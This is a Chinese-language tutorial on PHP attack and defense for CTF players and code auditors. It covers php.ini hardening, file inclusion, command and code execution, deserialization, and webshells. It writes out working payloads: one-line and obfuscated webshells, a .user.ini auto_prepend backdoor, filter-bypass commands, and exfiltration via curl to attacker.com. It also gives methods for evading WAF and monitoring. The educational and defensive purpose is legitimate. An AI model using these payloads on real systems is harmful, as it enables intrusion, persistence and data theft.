PHP安全攻防:从环境配置到代码审计的实战指南

PHP安全攻防:从环境配置到代码审计的实战指南

1. 项目概述:为什么Web安全绕不开PHP?

如果你刚踏入Web安全这个领域,或者正在CTF赛场上挣扎,你可能会发现一个现象:怎么到处都是PHP?不管是靶场环境、历史遗留的老系统,还是各种漏洞分析文章,PHP的身影无处不在。这其实不是错觉,而是由历史和技术生态共同决定的。PHP作为一门曾经统治Web后端开发的语言,其“简单易用”的特性在早期快速推动了互联网应用的发展,但也为安全埋下了大量伏笔。今天,我们从一个安全从业者的视角,来聊聊PHP这门语言里那些你必须知道的知识点。这不是一份PHP编程教程,而是一份“攻击者眼中的PHP特性手册”,理解了这些,你才能看懂那些五花八门的漏洞利用姿势,无论是审计代码还是打CTF,都能找到清晰的路径。

我刚开始学安全的时候,面对一个PHP写的网站,只知道用扫描器扫几个通用漏洞,一旦遇到代码审计或者需要绕过各种限制的场景就懵了。后来花了大量时间去研究PHP本身的特性、配置和那些“奇怪”的行为,才发现很多漏洞的根源都藏在语言细节和运行环境里。这篇文章,我就把这些年踩过的坑、总结的经验,系统地梳理给你。我们会从PHP的安全配置讲起,深入到代码执行、文件包含、反序列化这些核心漏洞的底层原理,最后再聊聊那些在CTF和实战中经常遇到的“奇技淫巧”。目标是让你不仅知道漏洞怎么利用,更明白它为什么能被利用,从而建立起对PHP应用安全的立体认知。

2. PHP环境安全:你的第一道防线与第一个突破口

很多人觉得安全就是找代码漏洞,其实环境配置本身就是一个巨大的攻击面。一个配置不当的PHP环境,可能让攻击者不费吹灰之力就拿到服务器权限。反过来,作为防御方,理解这些配置也是加固系统的第一步。

2.1 那些要命的php.ini配置

php.ini是PHP的全局配置文件,里面有几个关键指令直接关系到应用生死。我审计过不少项目,发现很多开发者甚至运维根本不清楚这些配置的含义,直接使用默认或网上随便抄来的配置,这就等于给攻击者开了后门。

allow_url_fopenallow_url_include这两个是“万恶之源”之一。allow_url_fopen默认是On,允许像file_get_contents(‘http://example.com’)这样直接通过HTTP/HTTPS等协议读取远程文件内容。这本身为程序提供了便利,但也为SSRF(服务器端请求伪造)打开了大门。更危险的是allow_url_include,它允许includerequire等函数包含远程文件。如果它被开启,攻击者可以直接include(‘http://attacker.com/shell.txt’)来执行远程恶意代码。在现在的安全实践中,务必在php.ini中将allow_url_include设置为Off。对于allow_url_fopen,如果业务确实不需要从远程URL读取数据,也建议关闭。

disable_functions这是PHP内置的一个安全机制,用于禁用那些危险的函数。比如system,exec,passthru,shell_exec,proc_open这些能直接执行系统命令的函数,以及eval,assert这类能执行PHP代码的函数。一个比较安全的做法是在生产环境中禁用它们。配置方式如:disable_functions = system,exec,passthru,shell_exec,proc_open,popen,eval,assert。但是,禁用不等于高枕无忧,攻击者有一万种方法绕过它,我们后面会详细讲。

open_basedir这个配置可以将PHP脚本能访问的文件限制在指定的目录树中。例如:open_basedir = /var/www/html:/tmp。这是一个重要的沙盒限制,可以防止目录穿越攻击,比如通过../../../../etc/passwd读取系统敏感文件。但它也不是铁板一块,通过一些特殊的PHP流协议或者利用文件操作函数的特性,也存在绕过的可能。

注意open_basedir的限制不是基于操作系统的权限,而是PHP引擎层面的限制。如果PHP进程本身有权限读取/etc/passwd,但open_basedir不包含/etc,那么PHP函数(如fopen)就会失败。但它不影响通过其他方式(如通过已禁用的system(‘cat /etc/passwd’))去读取,因为系统命令的执行不受此限制。

display_errorserror_reporting在开发环境,我们开启错误显示(display_errors = On)和详细错误报告(如error_reporting = E_ALL)来调试。但在生产环境,这绝对是灾难。错误信息会泄露网站的绝对路径、数据库结构、SQL语句片段、变量内容等敏感信息。攻击者可以通过故意触发错误(比如传一个数组给要求字符串的函数)来探测环境。因此,生产环境必须设置display_errors = Off,并通过log_errors = Onerror_log将错误记录到日志文件中查看。

2.2 .user.ini与php.ini的后门艺术

你以为后门一定是藏在代码里的一个eval($_POST[‘cmd’])吗?太天真了。高手会把后门放在配置里。PHP有两种方式可以覆盖主php.ini的配置:每个目录下的.user.ini文件和通过PHP_INI_*模式在运行时设定的配置。

.user.ini文件自 PHP 5.3.0 起引入,它允许在特定的目录下放置这个文件,来为该目录及其所有子目录下的脚本定义额外的PHP配置。它的语法和php.ini类似。一个经典的利用方法是:如果攻击者通过文件上传漏洞,能将一个文件传到Web目录下(哪怕后缀是.jpg),他就可以尝试上传一个.user.ini文件,内容为:

auto_prepend_file = shell.jpg

这行配置的意思是,在该目录下执行任何PHP脚本之前,都会自动包含(prependshell.jpg文件。如果shell.jpg的内容是<?php @eval($_POST[‘a’]);?>,那么攻击者就相当于在所有页面都植入了一个WebShell。这种后门非常隐蔽,管理员检查代码很难发现,因为后门不在代码里,而在配置文件中。

同理,主php.ini本身如果被篡改,比如加入了auto_prepend_file指向一个恶意文件,那影响范围就是全局的。这就要求我们不仅要保护代码,还要保护配置文件,确保php.ini.user.ini的权限设置正确(如chmod 644,且所属用户为非Web服务用户),并定期检查其完整性。

2.3 Session安全配置

Session是维持用户状态的核心机制,它的安全性直接关系到认证体系。PHP默认的Session文件存储在服务器临时目录(如/tmp),文件名为sess_[session_id]。这里有几个风险点:

  1. Session劫持:如果session_id被泄露(比如通过XSS漏洞窃取),攻击者就可以伪造这个ID,冒充用户身份。因此,要使用HttpOnlySecure的Cookie标志来传输session_id
  2. Session固定攻击:攻击者先获取一个合法的session_id,然后诱导受害者使用这个ID登录,之后攻击者就用这个ID登录进受害者的账户。防御方法是在用户登录成功后,调用session_regenerate_id(true)重新生成Session ID,并销毁旧的。
  3. Session文件注入:PHP的Session序列化处理器(如phpphp_binary)会将$_SESSION数组序列化后存入文件。如果攻击者能控制$_SESSION中的某些数据,并且应用在反序列化Session数据后,有自动执行某些操作的逻辑(比如反序列化后自动连接数据库),就可能造成反序列化漏洞。虽然直接利用难度比普通的反序列化大,但也是一个攻击面。

php.ini中,相关的安全配置有:

  • session.use_strict_mode = 1:强制使用严格模式,只接受服务器创建的Session ID,防止Session固定攻击。
  • session.cookie_httponly = 1:阻止JavaScript访问Session Cookie,缓解XSS攻击后的Session窃取。
  • session.cookie_secure = 1:在HTTPS连接时才传输Session Cookie(前提是你的网站启用了HTTPS)。
  • session.sid_lengthsession.sid_bits_per_character:增加Session ID的熵值,使其更难被暴力猜解。

3. PHP核心漏洞原理深度剖析

了解了环境配置的攻防,我们深入到PHP代码层面。PHP的某些语言特性和内置函数,如果使用不当,就会成为漏洞的源泉。

3.1 文件包含漏洞:不仅仅是include那么简单

文件包含(include,require,include_once,require_once)是PHP模块化开发的基础,但也催生了高危的“文件包含漏洞”。根据包含的目标是否可控,分为本地文件包含(LFI)和远程文件包含(RFI)。RFI需要allow_url_include=On,现在已较少见,我们重点看LFI。

漏洞成因:开发者使用了用户可控的变量(如$_GET[‘page’])作为包含文件的路径,且未经过滤或过滤不严。

$page = $_GET['page']; include('/pages/' . $page . '.php');

攻击者可以传入../../../etc/passwd来穿越目录,或者利用其他技巧。

利用技巧与绕过

  1. 目录穿越:使用../../跳出Web目录,读取系统文件。这是最基础的利用。
  2. 利用PHP伪协议:这是LFI漏洞的“王牌”利用方式。即使不能执行远程文件,PHP内置的多种流封装协议(Wrapper)也能让我们“做很多事”。
    • php://filter:这是最常用的。它可以用来读取PHP文件的源码,因为include会执行文件,而php://filter/read=convert.base64-encode/resource=index.php会以Base64编码的形式读取index.php的内容,从而避免代码被执行,直接看到源码。这在CTF中几乎是必考点。
    • php://input:它可以访问请求的原始数据(POST数据)。如果allow_url_include开启,你可以include(‘php://input’),并在POST Body中写入<?php system(‘whoami’);?>来执行代码。即使allow_url_include关闭,在某些特定场景下(如file_get_contents)也可能有用。
    • zip://,phar://:可以包含ZIP或PHAR压缩包中的文件。例如,上传一个包含shell.php的ZIP文件test.zip,然后包含zip:///path/to/test.zip%23shell.php(注意#要URL编码为%23)来执行其中的PHP代码。phar://还与反序列化漏洞结合紧密。
    • data://:类似于RFI,但数据直接内嵌在URI中。如include(‘data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==’),其中Base64部分解码后就是<?php system(‘whoami’);?>。同样需要allow_url_include开启。
  3. 截断技巧:在PHP版本小于5.3.4,且magic_quotes_gpc=Off时,存在空字节截断漏洞。如果代码是include($filename . ‘.php’),攻击者传入../../../etc/passwd%00%00(空字节)会告诉PHP字符串到此结束,从而成功包含/etc/passwd,而忽略后面的.php。这个漏洞现在基本已成历史。

实操心得:在审计代码时,看到include/require与用户输入结合,就要立刻警觉。不仅要看是否过滤了../,还要看是否过滤了php://data://等协议头。安全的做法是使用白名单机制,只允许包含预定义的文件名。

3.2 命令执行与代码执行漏洞

这是能直接获得系统控制权的最高危漏洞。命令执行是调用系统Shell(如bashcmd),代码执行是在PHP上下文里执行PHP代码。

命令执行函数system(),exec(),shell_exec(),passthru(),popen(),proc_open(),以及反引号`操作符。代码执行函数eval(),assert()(在PHP 7及以前,assert也可执行代码),create_function()(已废弃),preg_replace()/e修饰符(已移除)。

漏洞成因:用户输入未经滤就直接拼接进命令或eval语句。

$cmd = $_GET['cmd']; system('ping -c 4 ' . $cmd); // 如果传入 `127.0.0.1; cat /etc/passwd`
$code = $_GET['code']; eval($code); // 直接执行任意PHP代码

绕过技巧

  1. 命令分隔符:在Linux下常用;,&&,||,|(管道),\n(换行)。在Windows下常用&,&&,|,||
  2. 空格绕过:如果过滤了空格,可以用${IFS}(Linux)、$IFS$9<>%09(Tab)等代替。
  3. 黑名单绕过:如果过滤了catflag等关键词。
    • 利用通配符cat fla*,cat fla?,cat fla[abc]g
    • 利用变量拼接a=c;b=at;c=fl;d=ag;$a$b ${c}${d}
    • 利用编码echo ‘Y2F0IC9ldGMvcGFzc3dk’ | base64 -d | bash(先Base64编码命令再执行)。
    • 利用其他命令:不用cat,可以用more,less,head,tail,tac,nl,od,xxd,strings,甚至curl外带数据。
  4. 无回显命令执行:如果命令执行了但没有输出到页面(盲注),需要利用技巧判断命令是否成功。
    • 延时判断ping -c 4 127.0.0.1执行需要时间,通过观察页面响应时间差异来判断。
    • DNS外带:执行curl http://`whoami``.attacker.com,通过查看DNS日志来获取命令输出(whoami的结果会成为子域名)。
    • HTTP请求外带curl http://attacker.com/``whoami``,将结果作为URL参数带出。

关于disable_functions的绕过:这是CTF和实战中的高级考点。如果上述危险函数被禁用,攻击者会寻找“替代品”。

  1. 利用未禁用的函数mail()函数在发送邮件时会调用操作系统的/usr/sbin/sendmail(或配置的邮件发送程序),如果攻击者能控制mail()的第五个参数$additional_parameters,就可以注入命令行参数。但这需要复杂的条件配合。
  2. 利用LD_PRELOAD劫持:这是Linux下的经典手法。原理是:PHP的某些函数(如mail()imap_open())在底层会调用glibc的库函数(如getuid())。我们可以编写一个恶意的共享库(.so文件),里面定义getuid()函数,并在其中执行系统命令。然后通过putenv(“LD_PRELOAD=/path/to/evil.so”)设置环境变量,让这个恶意库优先加载。当PHP调用mail()时,最终执行的就是我们恶意库里的getuid(),从而达成命令执行。整个过程需要能上传.so文件,并且putenv函数未被禁用。
  3. 利用PHP扩展:某些PHP扩展提供了执行命令的新途径。例如,ImageMagick扩展在处理恶意图片时可能造成命令执行(ImageTragick漏洞)。FFI扩展(PHP 7.4+)允许直接调用C函数,如果启用且未被限制,威力巨大。
  4. 利用操作系统特性:如Windows下的COM组件、DotNet扩展等。

3.3 弱类型比较与哈希碰撞

PHP的弱类型是安全问题的重灾区。==(松散比较)和===(严格比较)的行为天差地别。在松散比较时,PHP会尝试进行类型转换,这导致了许多反直觉的结果。

经典漏洞场景

  1. MD5/SHA1碰撞0e开头的字符串在科学计数法中被认为是0。0e1234560e987654==比较时,都被认为是0 == 0,结果为true。因此,如果代码用==比较md5($input) == ‘0e123…’,攻击者可以寻找一个md5($input)也是0e开头的值来绕过。著名的例子有240610708QNKCDZO,它们的md5值分别是0e4620974319065090195629887368540e830400451993494058024219903391
  2. 字符串与数字比较‘123abc’ == 123true,因为PHP会尝试将字符串转换为数字,取前面的数字部分123‘abc’ == 0也为true,因为转换失败,字符串被当作0。这在判断用户权限时非常危险。
  3. 数组与任意值比较array() == 0truearray(1) == truetrue。如果$_GET[‘id’]预期是数字,但攻击者传入id[]=1,那么$id是数组,可能导致后续逻辑错误或绕过检查。
  4. in_array()的松散比较in_array($needle, $haystack)默认也是松散比较。如果$haystack = array(0, 1, 2)$needle = ‘abc’,那么in_array(‘abc’, $haystack)返回true,因为‘abc’被转换成0,在数组里匹配到了。

防御方法永远使用===!==进行严格比较。对于in_arrayarray_search,使用第三个参数$strict = true来启用严格模式。

3.4 反序列化漏洞:从对象到武器

PHP反序列化漏洞是近年来非常流行且危害极大的漏洞类型。它利用的是PHP对象序列化(serialize)和反序列化(unserialize)机制。

基本原理:PHP可以将一个对象的状态(属性值)转换成一个字符串(序列化),便于存储或传输。之后,可以将这个字符串还原成一个对象(反序列化)。问题在于,反序列化过程会自动调用对象的某些“魔术方法”(Magic Method),如果这些方法里包含了危险操作,并且对象的属性值可以被攻击者控制,就可能造成漏洞。

关键魔术方法

  • __wakeup():在反序列化完成后立即调用。
  • __destruct():对象被销毁时调用。
  • __toString():对象被当作字符串使用时调用。
  • __call(),__get(),__set():在访问不存在的方法或属性时调用。

漏洞产生条件

  1. 代码中存在unserialize()函数,且参数用户可控。
  2. 代码中定义了包含魔术方法的类,并且这些方法中包含了危险操作(如eval()system()、文件操作等)。
  3. 攻击者能够控制反序列化字符串中的类属性值。

一个简单例子

class VulnerableClass { public $cmd = 'whoami'; function __destruct() { system($this->cmd); } } // 攻击者构造的序列化字符串 $exploit = 'O:15:"VulnerableClass":1:{s:3:"cmd";s:10:"id;ls -la";}'; unserialize($exploit); // 反序列化时,会创建对象,对象销毁时触发 __destruct,执行 system('id;ls -la')

POP链构造:现实中的漏洞很少这么直接。通常,危险操作在A类的某个方法里,但A类的反序列化触发点(如__wakeup)不直接调用它。这时,攻击者需要寻找一条“属性导向编程”(Property-Oriented Programming, POP)链,通过一系列对象属性之间的引用和魔术方法的调用,最终触达危险函数。这就像拼图一样,需要仔细分析代码中的所有类。

Phar反序列化:这是一种更隐蔽的利用方式。phar://协议在读取phar文件元数据(metadata)时,会自动对其进行反序列化。这意味着,即使代码中没有明显的unserialize()调用,但只要存在文件操作函数(如file_get_contents()include()file_exists()等)的参数用户可控,并且可以触发phar://协议读取攻击者上传的恶意phar文件,就能触发反序列化漏洞。这大大拓宽了反序列化漏洞的利用面。

防御建议

  1. 不要反序列化不可信数据:这是根本。如果必须,可以考虑使用JSON等更安全的格式。
  2. 使用白名单:在反序列化时,通过allowed_classes参数限制可以反序列化的类名。
  3. 魔术方法中避免危险操作:在__wakeup__destruct等方法中,避免执行命令、写文件等操作。
  4. 更新PHP版本:新版本PHP对反序列化有更多安全限制。

4. WebShell的攻防博弈

WebShell是攻击者维持权限的工具,也是安全人员检测的焦点。这场博弈催生了各种各样的WebShell变形和绕过技术。

4.1 WebShell的常见形态

最基础的WebShell就是一句话木马:<?php @eval($_POST[‘cmd’]);?>。但为了绕过WAF和杀毒软件,黑客们发展出了无数变种。

  1. 字符串变形:利用PHP的字符串处理函数和特性进行混淆。
    • 动态函数调用:$_GET[‘f’]($_POST[‘c’]);,传入f=system&c=whoami
    • 字符串拼接:$a=’ass’;$b=’ert’;$c=$a.$b; $c($_POST[‘x’]);最终是assert
    • 利用create_function(已废弃):$func = create_function(‘’, $_POST[‘cmd’]); $func();
    • 利用preg_replace/e修饰符(PHP<5.5):preg_replace(‘/.*/e’, $_POST[‘cmd’], ‘.’);
  2. 编码加密
    • Base64:eval(base64_decode(‘c3lzdGVtKCd3aG9hbWknKTs=’));
    • Rot13:eval(str_rot13(‘riny($_CBFG[cntr]);’));需要配合assert
    • 自定义加解密算法。
  3. 利用特殊标签:除了<?php ?>,还可以用<script language=”php”>echo ‘test’;</script>(PHP 7后已移除),或者利用.htaccess将其他后缀解析为PHP。
  4. 无特征WebShell:完全不包含敏感函数名。例如利用include包含一个已上传的图片马(图片内容包含PHP代码),或者利用.user.iniauto_prepend_file自动包含。
  5. 图片马:将PHP代码附加到图片文件的末尾(如GIF、PNG)。只要文件能被解析为PHP(通过文件上传漏洞配合解析漏洞,或.htaccess设置),代码就能执行。

4.2 WebShell的检测与绕过

静态检测(基于特征):早期的WAF和杀软主要检测evalassertsystembase64_decode等关键词,以及<?php标签。绕过方法就是上面提到的变形、编码、拼接。

动态检测(基于行为)

  1. 流量监测:检测HTTP请求/响应中是否包含可疑的命令执行结果(如rootetc/passwd等)。绕过方法是命令执行结果不直接回显,而是通过DNS、HTTP请求外带,或者写入文件后再用其他方式读取。
  2. 文件监控:检测Web目录下是否新增了可疑的PHP文件。绕过方法是写入到临时文件、/proc/self/fd/(Linux进程文件描述符)、或者利用已有的可写文件(如日志文件、缓存文件)追加代码。
  3. 进程监控:检测Web服务器进程是否执行了bashshpython等子进程。绕过方法是使用纯PHP实现的“无进程”操作,比如用PHP内置的scandirfile_get_contents进行文件浏览和读取,或者用Socket函数进行网络通信。

基于语义/污点追踪的检测:这是更高级的检测方式,分析代码是否将用户输入传递给了危险函数。对于混淆过的WebShell,有一定检测能力。绕过方式更复杂,可能需要利用更冷门的函数或PHP特性。

防御视角:作为防守方,不能只依赖WAF。要做好基础安全:严格的文件上传过滤(白名单后缀、重命名、二次渲染图片)、最小权限原则(Web进程以低权限用户运行)、定期进行Web目录的完整性检查(如Tripwire工具)、部署RASP(运行时应用自保护)产品进行更深度的行为监控。

5. CTF与实战中的PHP技巧合集

最后这部分,我整理了一些在CTF比赛和实际渗透测试中经常遇到的、与PHP特性相关的小技巧和考点。它们可能不直接构成高危漏洞,但往往是突破关键限制的“最后一公里”。

5.1 利用PHP流包装器读取源码

前面提到了php://filter读源码,这里再细化一下。在CTF中,经常遇到代码执行点但无法直接获取flag文件内容的情况,或者需要审计源码寻找下一步线索。

payload: ?file=php://filter/read=convert.base64-encode/resource=index.php

这会将index.php的内容进行Base64编码后输出。你需要解码才能看到源码。为什么用Base64?因为includefile_get_contents在读取到<?php ... ?>标签时会尝试解析执行,而Base64编码后,标签变成了普通文本,避免了执行。

进阶技巧:过滤器可以链式调用。例如,先旋转(string.rot13)再Base64,或者使用convert.iconv.*过滤器进行字符集转换,有时可以绕过一些简单的过滤。

5.2 利用parse_url与正则绕过

PHP的parse_url()函数在解析URL时可能存在逻辑缺陷,与preg_match()等正则函数配合使用时,可能产生绕过。

例题场景:代码要求传入的URL必须满足preg_match(‘/^http:\/\/www\.example\.com\//’, $url),但最终会用file_get_contents($url)去读取内容。攻击目标是让file_get_contents读取到本地文件。绕过思路parse_url()和正则对URL的解析可能不一致。例如,传入http://www.example.com@127.0.0.1/parse_url()可能将127.0.0.1解析为主机,而正则可能因为@符号而匹配失败,或者成功匹配了前面的部分。又或者利用http://www.example.com\www.google.com(注意反斜杠),不同解析器对主机名的处理不同。这需要具体问题具体分析,核心思路是寻找解析差异。

5.3 变量覆盖漏洞

变量覆盖指的是攻击者可以控制程序原本未预期的变量。主要来源有:

  1. extract()函数:它将数组中的键值对导入当前符号表作为变量。如果传入$_GET$_POST,攻击者就可以覆盖任何已存在的变量。永远不要对用户输入的数据使用extract()
  2. parse_str()函数:类似extract(),它将查询字符串解析到变量中。parse_str($_SERVER[‘QUERY_STRING’])是极其危险的写法。
  3. import_request_variables()函数(已废弃):作用类似。
  4. 通过$$的可变变量:foreach($_GET as $key => $value){ $$key = $value; }。这会将所有GET参数注册为变量,攻击者传入?config=xxx就可以覆盖$config变量。

5.4 特殊字符与截断

除了空字节截断,还有其他一些特殊字符的利用:

  • 路径长度截断:在Windows下,路径长度超过一定限制(如260字节)可能会被截断。攻击者可以传入超长的文件名来绕过后缀检查,但此法在现代系统中已不太可靠。
  • 空格与点号:Windows系统下,文件名末尾的空格和点号会被自动去除。例如,上传shell.php.shell.php,服务器可能将其保存为shell.php。如果后端只检查一次后缀,可能被绕过。

5.5 利用PHP特性进行信息收集

当拿到一个有限的代码执行点(比如一个eval,但被限制了长度或字符),第一步往往是信息收集。

  • phpinfo():这是“圣经”,包含了PHP配置、加载的扩展、环境变量等所有信息。
  • get_defined_functions():列出所有已定义的函数,帮助你找到未被禁用的可用函数。
  • get_loaded_extensions():列出所有已加载的扩展,寻找可能带来新攻击向量的扩展(如FFI,Imagick)。
  • scandir(‘.’)glob(‘*’):列出当前目录文件。
  • readfile(‘/etc/passwd’)highlight_file(‘index.php’):读取文件内容。
  • var_dump($_SERVER),var_dump($_ENV):查看服务器和环境变量,可能泄露路径、密钥等信息。

理解PHP是理解Web安全一个非常重要的基石。它的历史包袱、灵活特性和广泛部署,使其成为攻击者和防御者都必须深入研究的目标。对于安全研究者,掌握这些PHP相关知识,不仅能帮助你解决大部分的CTF Web题,更能让你在真实的代码审计和渗透测试中,拥有穿透表象、直击根源的能力。记住,所有的绕过和利用,都源于对系统(包括语言本身、运行环境、操作系统)的深刻理解。保持好奇,持续练习,从“知其然”到“知其所以然”,你就能在Web安全的道路上走得更稳更远。